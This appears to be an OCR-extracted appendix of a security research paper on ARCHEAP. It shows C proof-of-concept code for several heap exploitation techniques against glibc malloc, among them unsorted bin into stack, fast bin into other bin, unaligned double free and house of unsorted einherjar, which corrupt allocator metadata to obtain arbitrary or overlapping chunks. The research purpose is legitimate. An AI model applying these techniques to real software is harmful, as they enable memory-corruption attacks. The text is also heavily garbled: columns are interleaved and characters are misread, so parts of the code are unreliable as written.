Fig. A.1: Exploitation techniques found by ARCHEAP in tcmalloc
and jemalloc

1 // [PRE-CONDITION]

2 // sz : any non-fast-bin size

3 // [BUG] buffer overflow

4 // [POST-CONDITION]

5 // malloc(sz) = dst + offsetof(struct malloc_chunk, fd)
6 void* pl = malloc(sz);

7 void* p2 = malloc(sz);

8 void* p3 = malloc(sz);

9

10 // move p2 to the unsorted bin
11 free(p2);

13 // create a fake chunk at dst

14 struct malloc_chunk *fake = dst;

15 // set fake->size to be the chunk size of the last allocation
16 fake->size = chunk_size(sz);

17 // set fake->bk to any writable address to avoid a crash

18 fake->bk = fake;

20 // [BUG] overflowing pl

21 struct malloc_chunk “c2 = raw_to_chunk(p2);

22 // size should be smaller than the next allocation size
23 // to avoid returning c2 in the next allocation

24 // size shouldn’t be too small due to a security check
25 c2->size = 2 * sizeof(size_t);

26 // set the next pointer in the unsorted bin

27 c2->bk = fake;

29 // now unsorted bin: c2 -> fake,

30 // and c2 is too small for the request.

31 // therefore, next allocation returns the fake chunk

32 assert(malloc(sz) == fake + offsetof(struct malloc_chunk, fd));

Fig. A.2: A new exploitation technique that ARCHEAP found, named
unsorted bin into stack, which returns arbitrary memory by corrupting
the unsorted bin.

1 // [PRE-CONDITION]

2 // fsz: any fast bin size

3 // sz: any non-fast-bin size

4 // 1sz: any largebin size

5 // [BUG] write free memory

6 // [POST-CONDITION]

7 // malloc(sz) = fake - offsetof(struct malloc_chunk, fd)
8 void* pl = malloc(£fsz);

9 free(pl);

11 // create a fake chunk

12 struct malloc_chunk *fake = dst;

13 // set P=1 to avoid a security check
14 fake->size = chunk_size(sz) | 1;

15 fake->fd = NULL;

17 // create ’fake2’: a next chunk of ’fake’

18 struct malloc_chunk *fake2 = dst + chunk_size(sz);
19 // set P=1 to avoid a security check

20 fake2->size = 1;

22 struct malloc_chunk *cl = raw_to_chunk(pl);

23 // [BUG] set a forward pointer of fast bin into fake

24 // this can be done by a normal heap write since p4 is allocated
25 cl->fd = fake;

27 // now a fast bin list: cl -> fake
28 // call malloc_consolidate to move
29 // ’'fake’ to the unsorted bin

30 malloc(lsz);

32 assert(raw_to_chunk(malloc(sz)) == fake);

Fig. A.3: A new exploitation technique that ARCHEAP found, named
fast bin into other bin, which returns arbitrary memory of non-fast
bin size.
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1 // [PRE-CONDITION]

2 // sz : any small bin size
3 // sz2 : any small bin size
4 // assert(sz2 > sz)

5 // [BUG] buffer overflow
6 // [POST-CONDITION]

7 // two chunks overlap
8

9

void* pl = malloc(sz);
10 void* p2 = malloc(sz);
11 void* p3 = malloc(sz);

13 // move p2 to the unsorted bin
14 free(p2);

16 // move p2 to the small bin
17 void* p4 = malloc(sz2);

// [PRE-CONDITION]

1
. 2 // sz: small bin size
v // [BUG] overflowmg*pl _ . 3/ assert(chunk_size(sz) & Oxff == 0);
20 struct malloc_chunk *c2 = raw_to_chunk(p2); Y "/ [BUG] off-by-one NULL
21 // growing size into double s [POST—CONDI};ION]
;z c2->size = 2 * chunk_size(sz) | 1; 6 // assert(raw_to_chunk(malloc(sz)) == fake);
) , . . 7
;: Cgigisscljugla{lﬁiis;)?hunk,slze(sz) z 8 // the lowest byte of chunk_size(sz) needs to be zero
% /) movg ; to the unsérted bin 9 // to avoid chaning its size when triggering a bug
» free( 5){7 10 // assert(chunk_size(sz) & Oxff == 0);
® P2); 1 char *pl = malloc(sz);
29 // splitting p5 into half and returning p6 i; EEZ; p; f Ezﬁgzgzg’
30 void” p6 = malloc(sz); 14 char "'-‘p4 - malloc(sz):
31 // returning the remainder s p2 = ’
ii void* p7 = malloc(sz); 16 // move pl to unsorted bin
34 // p3 and p7 overlap i; free(pl);
s assert(p3 == p7); 19 struct malloc_chunk* c3 = raw_to_chunk(p3);
Fig. A.4: A new exploitation technique that ARCHEAP found, named 2  // make prev_size into double to cover a large chunk
. . . . 21 // this is valid by writing p2’s last data
overlapping chunks smallbin, which returns overlapped chunk in small ;3. h1ey cize - chunk_size(sz) * 2;
bin. Even though this requires more steps than overlapping chunks, it .3 // [BUG] use off-by-one NULL to make P=0 in c3
does not need accurate size for allocation. 24 assert((c3->size & Oxff) == 0x01);
25 c3->size &= ~1;
26
27 // this will merge pl & p3
28 free(p3);
29
v // [PRE-CONDITION] 3 // if we allocate p5,
:// szl: non‘fHSt‘b%“ size 31 // p2 is now points to a free chunk in the unsorted bin
3 // sz2: non-fast-bin size 0 char *p5 = malloc(sz);
4 // szl and sz2 have the following relationship; 13
s/ assert(chunk_size(szl) * a == chunk_size(sz2) * b); 3 // it’s unsorted bin into stack
6 // [BUG] double free 35 struct malloc_chunk* fake = (void*)buf;
7 // [POST-CONDITION] 36 // set fake->size to chunk_size(sz) for later allocation
8 /7 two chunks overlap 37 fake->size = chunk_size(sz);
o ) i X X 38 // set fake->bk to any writable address to avoid crash
1o for (int i = 0; i < a; i++) 39 fake->bk = (void*)buf;
11 pl[i] = malloc(szl); 40
12 ) ) 41 struct malloc_chunk* c2 = raw_to_chunk(p2);
13 // allocate a chunk to prevent merging with the top chunk £ c2->bk = fake;
14 void* p = malloc(0); 3
15 . . 44 assert(raw_to_chunk(malloc(sz)) == fake);
16 // free from backward not to modify size of pl[a - 1]
17 for (dnt i =a - 154 >=0; i--) Fig. A.6: A new exploitation technique that ARCHEAP found,
" free(pllil); named house of unsorted einherjar. This is variant of a known heap
»  // allocate chunks to £ill empty space exploitation techmqug, house. of einherjar, but it floes not require a
21 for (int i = 0; i < b; i++) heap address, which is essential for the old technique.

22 p2[i] = malloc(sz2);

24 // now a next free chunk of pl[a-1] is p whose P=1,
25 // and pl[a-1] contains valid metadata
26 // since malloc does not clean up the memory

28 // [BUG] double free
29 free(pl[a-1]1);

31 // now new allocation returns pl[a-1]
32 // that overlaps with p2[b-1]
33 assert(malloc(szl) == pl[a-11);

Fig. A.5: A new exploitation technique that ARCHEAP found, named
unaligned double free, which returns overlapped chunks by the double
free bug.
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